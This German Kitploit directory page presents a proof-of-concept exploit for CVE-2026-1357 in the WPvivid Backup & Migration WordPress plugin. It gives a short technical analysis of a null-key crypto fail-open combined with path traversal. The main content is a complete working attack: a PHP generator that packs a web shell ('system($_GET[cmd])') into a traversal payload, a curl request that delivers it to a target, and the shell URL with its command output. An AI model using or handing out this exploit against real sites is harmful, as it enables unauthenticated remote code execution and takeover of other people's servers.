Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
POC-CVE-2026-1357 — Proof-of-Concept-Exploit für CVE-2026-1357, einen nicht authentifizierten beliebigen Datei-Upload, der zu RCE im WPvivid Backup & Migration-Plugin führt, mit Exploit-Generator und Ausführungsanweisungen. | Kitploit
Tools/GitHubGitHub/lucasm0ntes/poc-cve-2026-1357
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHublucasm0ntes/poc-cve-2026-1357

POC-CVE-2026-1357

Proof-of-Concept-Exploit für CVE-2026-1357, einen nicht authentifizierten beliebigen Datei-Upload, der zu RCE im WPvivid Backup & Migration-Plugin führt, mit Exploit-Generator und Ausführungsanweisungen.

Repository anzeigen
164vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-1357 WPvivid Backup & Migration RCE PoC

Entdeckt von: Lucas Montes (NiRoX)
Schwachstelle: Nicht authentifizierter beliebiger Datei-Upload, der zu Remote Code Execution (RCE) führt
CVE-ID: CVE-2026-1357
CVSS: Kritisch (9.8)
Status: In Version 0.9.124 gepatcht


Überblick

Dieses Repository enthält die Analyse und den Proof of Concept (PoC) für eine kritische Schwachstelle im WPvivid Backup & Migration WordPress-Plugin (Versionen <= 0.9.123).

Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, beliebige Dateien (wie PHP-Shells) auf den Server hochzuladen, was zu sofortiger Remote Code Execution (RCE) führt. Ursache ist ein logischer Fehler in der kryptografischen Fehlerbehandlung (Fail-Open) in Kombination mit einer Path-Traversal-Schwachstelle.

Technische Analyse

Die Schwachstelle liegt in der Art und Weise, wie das Plugin Remote-Backup-Übertragungsanfragen über den wpvivid_action=send_to_site-Hook verarbeitet. Die Ausnutzungskette besteht aus zwei getrennten Bugs, die zusammenwirken:

1. Kryptografisches Fail-Open (Der Bypass)

Wenn das Plugin eine Übertragungsanfrage empfängt, versucht es, den bereitgestellten Sitzungsschlüssel mit openssl_private_decrypt() zu entschlüsseln.

  • Der Fehler: Wenn ein fehlerhafter oder gefälschter RSA-Schlüssel bereitgestellt wird, gibt die Funktion false zurück. Die Plugin-Logik prüft diesen booleschen Rückgabewert nicht und übergibt false an die phpseclib-Bibliothek, um die AES-Chiffre zu initialisieren.
  • Das Ergebnis: In der verwundbaren Version von phpseclib wird ein false- oder leerer Schlüssel als eine Zeichenkette aus Null-Bytes (\0\0...) behandelt. Dies ermöglicht es einem Angreifer, eine bösartige Nutzlast mit einem 128-Bit-Null-Schlüssel zu verschlüsseln und so die Notwendigkeit des tatsächlichen privaten Schlüssels zu umgehen.

2. Path Traversal (Die RCE)

Sobald die Nutzlast mit dem Null-Schlüssel erfolgreich „entschlüsselt" wurde, verarbeitet das Plugin den JSON-Inhalt.

  • Der Fehler: Der name-Parameter innerhalb der JSON-Nutzlast wird nicht bereinigt.
  • Das Ergebnis: Ein Angreifer kann Verzeichnis-Traversal-Zeichen (../) verwenden, um das eingeschränkte Backup-Verzeichnis des Plugins (normalerweise durch .htaccess geschützt) zu verlassen und eine bösartige PHP-Datei in das öffentliche Verzeichnis wp-content/uploads/ zu schreiben.

Einschränkungen:

  • Hinweis: Wie in der Offenlegung klargestellt, ist diese Schwachstelle nur ausnutzbar, wenn ein „Schlüssel" in den Plugin-Einstellungen generiert wurde und noch nicht abgelaufen ist. Sobald das wpvivid_api_token abläuft, lässt der verwundbare Codepfad die Anfrage stillschweigend fehlschlagen.

Proof of Concept (PoC)

Voraussetzungen

Der Exploit basiert auf dem Verhalten von phpseclib (v1). Um den Generator lokal auszuführen, benötigen Sie die Bibliotheksdateien:

root@kitploit:~
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php

Exploit-Generator (exploit.php)

Dieses Skript erstellt eine mit einem Null-Schlüssel verschlüsselte Nutzlast und enthält die Path Traversal, um eine Shell hochzuladen.

root@kitploit:~
<?php
// exploit.php - Authored by Lucas Montes (NiRoX)
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');

// 1. Initialize Rijndael (AES) 
$rij = new Crypt_Rijndael();
$rij->setBlockLength(128); 

// 2. VULNERABILITY REPRODUCTION
// The server defaults to a null key when RSA decryption fails (returns false).
// We set our local key to 16 null bytes to match the server's vulnerable state.
$rij->setKey(str_repeat("\0", 16));

// 3. The Payload
$shell_content = '<?php system($_GET["cmd"]); ?>';

// 4. The JSON Object with Path Traversal
// We traverse up to /uploads/ to bypass .htaccess restrictions
$params = [
    "backup_id" => "1",
    "name" => "../uploads/pwn_remote.php", 
    "data" => base64_encode($shell_content),
    "offset" => 0,
    "file_size" => strlen($shell_content),
    "total_size" => strlen($shell_content),
    "index" => 0,
    "md5" => md5($shell_content),
    "type" => "backup",
    "status" => "running"
];

// 5. Encrypt with Null Key
$encrypted = $rij->encrypt(json_encode($params));

// 6. Construct Packet
// "ABC" is the fake RSA key that triggers the 'false' return on the server
$fake_key = "ABC"; 
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT) 
         . $fake_key 
         . str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT) 
         . $encrypted;

echo base64_encode($payload);
?>

Ausführen des Angriffs

  1. Nutzlast generieren:
root@kitploit:~
PAYLOAD=$(php exploit.php)

  1. Anfrage senden:
root@kitploit:~
curl -i -s -X POST 'http://TARGET-URL/' \
  -d 'wpvivid_action=send_to_site' \
  --data-urlencode "wpvivid_content=$PAYLOAD"

  1. RCE verifizieren: Bei Erfolg ist die Shell erreichbar unter:
root@kitploit:~
http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id

Ergebnis:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Tool herunterladen